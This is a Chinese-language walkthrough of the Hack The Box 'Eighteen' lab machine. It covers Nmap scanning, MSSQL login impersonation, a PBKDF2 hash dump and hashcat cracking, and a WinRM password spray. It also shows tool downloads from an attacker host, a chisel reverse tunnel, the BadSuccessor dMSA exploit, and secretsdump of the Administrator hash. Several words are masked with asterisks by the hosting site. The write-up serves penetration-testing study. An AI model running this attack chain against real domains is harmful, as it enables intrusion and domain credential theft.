HTB Eighteen 靶机实战记录:从 MSSQL 凭据窃取到 BadSuccessor 漏洞接管域控

HTB Eighteen 靶机实战记录:从 MSSQL 凭据窃取到 BadSuccessor 漏洞接管域控

靶机概览

HTB Eighteen 是一台难度评级为 EASY 的 Windows 靶机,主要围绕 Active Directory 域环境安全、MSSQL 数据库渗透、哈希破解与 BadSu***essor 权限提升漏洞展开。该靶机完整展示了从外部服务突破到域内横向移动,并利用最新系统特性实现权限提升的完整攻击链,从初始凭证窃取到最终域控完全控制,为渗透测试初学者掌握基础的 Windows 域环境攻击技术提供了清晰的实战路径。

信息收集

网络扫描与服务识别

Nmap 先通过全端口扫描定位开放端口,再对关键端口进行深度探测,识别服务版本与环境信息。

全端口扫描
┌──(kali㉿Nuii)-[~]
└─$ nmap -T3 -p- 10.10.11.95
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-22 04:50 CST
Nmap scan report for eighteen.htb (10.10.11.95)
Host is up (0.43s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE
80/tcp   open  http
1433/tcp open  ms-sql-s
5985/tcp open  wsman

Nmap done: 1 IP address (1 host up) scanned in 1129.62 seconds
关键端口探测
┌──(kali㉿Nuii)-[~]
└─$ nmap -sC -sV -A -p 80,1433,5985 10.10.11.95
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-22 05:11 CST
Nmap scan report for eighteen.htb (10.10.11.95)
Host is up (0.58s latency).

PORT     STATE SERVICE  VERSION
80/tcp   open  http     Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Wel***e - eighteen.htb
1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
|_ssl-date: 2025-11-22T04:14:24+00:00; +7h01m56s from scanner time.
| ms-sql-info: 
|   10.10.11.95:1433: 
|     Version: 
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ms-sql-ntlm-info: 
|   10.10.11.95:1433: 
|     Target_Name: EIGHTEEN
|     ***BIOS_Domain_Name: EIGHTEEN
|     ***BIOS_***puter_Name: DC01
|     DNS_Domain_Name: eighteen.htb
|     DNS_***puter_Name: DC01.eighteen.htb
|     DNS_Tree_Name: eighteen.htb
|_    Product_Version: 10.0.26100
| ssl-cert: Subject: ***monName=SSL_Self_Signed_Fallback
| Not valid before: 2025-11-22T01:31:18
|_Not valid after:  2055-11-22T01:31:18
5985/tcp open  http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022 (88%)
OS CPE: cpe:/o:microsoft:windows_server_2022
Aggressive OS guesses: Microsoft Windows Server 2022 (88%)
No exact OS matches for host (test conditions non-ideal).
***work Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7h01m56s, deviation: 0s, median: 7h01m55s

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   922.97 ms 10.10.16.1
2   335.81 ms eighteen.htb (10.10.11.95)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.57 seconds
扫描结果
  • 80 端口:HTTP 服务,Microsoft IIS 10.0
  • 1433 端口:MSSQL 服务,Microsoft SQL Server 2022
  • 5985 端口:WinRM 服务
  • 时间偏差:目标系统与攻击机存在约 7 小时时差(影响 Kerberos 认证有效性)

DNS 解析配置

为确保域环境内主机名正常解析,添加域名映射,避免后续域内操作因解析问题失败

echo "10.10.11.95 eighteen.htb dc01.eighteen.htb" >> /etc/hosts

初始访问 - MSSQL 数据库渗透与权限突破

凭证连接与权限探测

利用靶机提供的初始凭证(kevin:iNa2we6haRj2gaw!),通过 impacket 工具集的 mssqlclient 模块连接 MSSQL 数据库。

impacket-mssqlclient 'kevin:iNa2we6haRj2gaw!@10.10.11.95'

连接成功后,探测当前账户可模拟的高权限用,执行如下 SQL 查询语句:

SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';

查询结果显示,当前账户可模拟 appdev 用户。

数据库权限提升与敏感数据窃取

通过 SQL 语句的 EXECUTE AS 命令模拟 appdev 用户权限,实现数据库层面的权限提升,随后切换至核心业务数据库 financial_planner 窃取用户凭证。

权限模拟
EXECUTE AS LOGIN = 'appdev';
敏感数据窃取
  • 切换至核心数据库:USE financial_planner;
  • 查询数据库内所有表名:SELECT table_name FROM information_schema.tables;
  • 读取 users 表凭证数据:SELECT * FROM users;

最终从 users 表中获取到 admin 用户的 PBKDF2-SHA256 哈希值:

获取的 admin 哈希为 PBKDF2-SHA256 格式,需先转换为 Hashcat 支持的格式,再通过字典暴力破解还原明文密码。

哈希格式转换

编写 Python 脚本 pbkdf2-to-hashcat.py,实现 PBKDF2 哈希到 Hashcat 格式的转换。

#!/usr/bin/env python3

import base64
import sys

def convert_pbkdf2_to_hashcat(hash_string):

    try:
        # 分割哈希部分
        parts = hash_string.split('$')
        
        if len(parts) < 3:
            print("无效的哈希格式")
            return None
            
        # 提取各部分
        algorithm = parts[0]  # pbkdf2:sha256:600000
        salt = parts[1]       # AMtzteQIG7yAbZIa
        hash_value = parts[2] # 0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133
        
        # 从算法部分提取迭代次数
        algo_parts = algorithm.split(':')
        if len(algo_parts) < 3:
            print("无效的算法格式")
            return None
            
        iterations = algo_parts[2]  # 600000
        
        # 编码 salt 和 hash 为 base64
        salt_bytes = salt.encode('utf-8')
        salt_base64 = base64.b64encode(salt_bytes).decode('utf-8')
        
        hash_bytes = bytes.fromhex(hash_value)
        hash_base64 = base64.b64encode(hash_bytes).decode('utf-8')
        
        # 构建 Hashcat 格式
        hashcat_format = f"sha256:{iterations}:{salt_base64}:{hash_base64}"
        return hashcat_format
        
    except Exception as e:
        print(f"转换错误: {e}")
        return None

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("用法: python3 pbkdf2-to-hashcat.py 'pbkdf2:sha256:600000$salt$hash'")
        sys.exit(1)
    
    hash_string = sys.argv[1]
    result = convert_pbkdf2_to_hashcat(hash_string)
    
    if result:
        print(result)
    else:
        print("转换失败")
执行转换命令
python3 pbkdf2-to-hashcat.py 'pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133'
将结果保存至 hash_final.txt 文件
echo 'sha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=' > hash_final.txt

暴力破解明文密码

使用 Hashcat 工具,指定 10900 模式(对应 PBKDF2-SHA256 算法),结合 10k-most-***mon.txt 常见密码字典进行破解,参数 -w 3 启用高速破解模式,-O 启用优化选项。

hashcat -m 10900 hash_final.txt /usr/share/wordlists/seclists/Passwords/***mon-Credentials/10k-most-***mon.txt -w 3 -O

破解结果iloveyou1

横向移动

凭证枚举

使用nxc枚举用户名
nxc mssql 10.10.11.95 -u kevin -p 'iNa2we6haRj2gaw!' --local-auth --rid-brute
创建用户列表文件
cat > users.txt << 'EOF'
jamie.dunn
jane.smith
alice.jones
adam.scott
bob.brown
carol.white
dave.green
EOF
使用发现的用户列表和密码 iloveyou1 进行WinRM喷射
nxc winrm 10.10.11.95 -u users.txt -p iloveyou1 --continue-on-su***ess

枚举到有效凭证:eighteen.htb\adam.scott:iloveyou1

WinRM 连接与 User Flag 获取

使用 evil-winrm 工具,通过有效凭证建立远程连接,并获取 User Flag。

WinRM 连接
evil-winrm -i 10.10.11.95 -u 'adam.scott' -p 'iloveyou1'
获取 User Flag
type C:\Users\adam.scott\Desktop\user.txt

域环境探测

注册表发现

Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion'

系统版本确认 - 通过注册表查询,确认目标为 Windows Server 2025,存在 dMSA 新特性。

核心版本信息 - ProductName 为 Windows Server 2025 Datacenter,存在 dMSA(组托管服务账户)功能。

BadSu***essor漏洞

Windows Server 2025 新增的 dMSA 功能存在权限配置缺陷(BadSu***essor 漏洞),可通过该漏洞创建具有委派权限的服务账户,最终提取域管理员哈希实现接管。

参考:BadSu***essor – Escalating Privileges Via DMSA In Windows Server 2025

权限提升 - BadSu***essor 漏洞利用与域控接管

工具准备

新建文件夹 A033

mkdir A033

上传隧道工具 Chisel

Invoke-WebRequest -Uri "http://10.10.16.10:8022/chisel.exe" -OutFile "C:\Users\adam.scott\A033\chisel.exe"

上传 BadSu***essor 漏洞利用脚本

Invoke-WebRequest -Uri "http://10.10.16.10:8022/BadSu***essor.ps1" -OutFile "C:\Users\adam.scott\A033\BadSu***essor.ps1"

执行 BadSu***essor 漏洞利用脚本

# 导入脚本并执行利用
. .\BadSu***essor.ps1

BadSu***essor -Mode Exploit -Domain "eighteen.htb" -Path "OU=Staff,DC=eighteen,DC=htb" -Name "A033_DMSA" -DelegatedAdmin "adam.scott" -DelegateTarget "Administrator"

创建名为 A033_DMSA 的 dMSA 账户,并将域管理员(Administrator)的委派权限赋予adam.scott。

建立隧道

攻击机启动 Chisel 服务端

./chisel server -p 8011 --reverse

目标主机连接代理

./chisel.exe client 10.10.16.10:8011 R:socks

Kerberos 时间同步

由于此前发现系统时间偏差,执行时间同步命令避免 Kerberos 认证失败,我这里使用前两期的靶机IP来同步。

sudo ntpdate 10.10.11.93

获取服务票据

proxychains4 python3 getST.py -impersonate 'A033_DMSA$' -dmsa eighteen.htb/adam.scott -self

配置 Kerberos 票据环境变量

export KRB5C***AME=A033_DMSA\$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.***ache

Administrator哈希提取

proxychains4 python3 secretsdump.py -k -no-pass dc01.eighteen.htb -just-dc-user Administrator
  • -k 使用 Kerberos 票据
  • -no-pass 无密码登录
  • -just-dc-user 指定提取管理员哈希

成功提取到 Administrator 哈希

获取 Root Flag

通过 wmiexec.py 工具利用哈希传递,实现域控完全接管。

# 验证权限
whoami
# 读取 Root Flag
type C:\Users\Administrator\Desktop\root.txt
转载请说明出处内容投诉
CSS教程网 » HTB Eighteen 靶机实战记录:从 MSSQL 凭据窃取到 BadSuccessor 漏洞接管域控

发表评论

欢迎 访客 发表评论

一个令你着迷的主题!

查看演示 官网购买